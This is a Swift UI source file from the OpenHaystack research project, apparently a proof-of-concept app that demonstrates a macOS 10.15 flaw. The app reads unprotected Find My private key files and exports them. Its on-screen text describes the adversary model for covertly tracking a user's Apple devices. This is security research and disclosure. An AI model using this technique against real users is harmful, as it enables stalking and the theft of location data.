//
//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
//  Copyright © 2021 The Open Wireless Link Project
//
//  SPDX-License-Identifier: AGPL-3.0-only
//

import OSLog
import SwiftUI

struct ContentView: View {

  @State var keysInfo: String?

  var body: some View {
    ZStack {
      VStack {
        Spacer()

        self.infoText
          .padding()

        Button(
          action: {
            self.readPrivateKeys()
          },
          label: {
            Text("Read private offline finding keys")
              .font(.headline)
              .foregroundColor(Color.black)
              .padding()
              .background(
                RoundedRectangle(cornerRadius: 7.0)
                  .fill(Color(white: 7.0).opacity(0.7))
                  .shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
              )

          }
        )
        .buttonStyle(PlainButtonStyle())

        self.keysInfo.map { (keysInfo) in
          Text(keysInfo)
            .padding()
        }

        Spacer()

      }

    }
    .frame(width: 800, height: 600)

  }

  var infoText: some View {
    // swiftlint:disable line_length
    Text(
      "This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of"
    ) + Text(" all ").bold() + Text("Apple devices of the current user.\n\n")
      + Text(
        "To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user."
      )
    // swiftlint:enable line_length
  }

  func readPrivateKeys() {

    do {
      let devices = try FindMyKeyExtractor.readPrivateKeys()
      let numberOfKeys = devices.reduce(0, { $0 + $1.keys.count })
      self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
      self.saveExportedKeys(keys: devices)
    } catch {
      os_log(.error, "Could not load keys %@", error.localizedDescription)
    }
  }

  func saveExportedKeys(keys: [FindMyDevice]) {
    do {
      let keysPlist = try PropertyListEncoder().encode(keys)
      SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
    } catch {
      os_log(.error, "Property list encoding failed %@", error.localizedDescription)
    }
  }
}

struct ContentView_Previews: PreviewProvider {
  static var previews: some View {
    ContentView()
  }
}
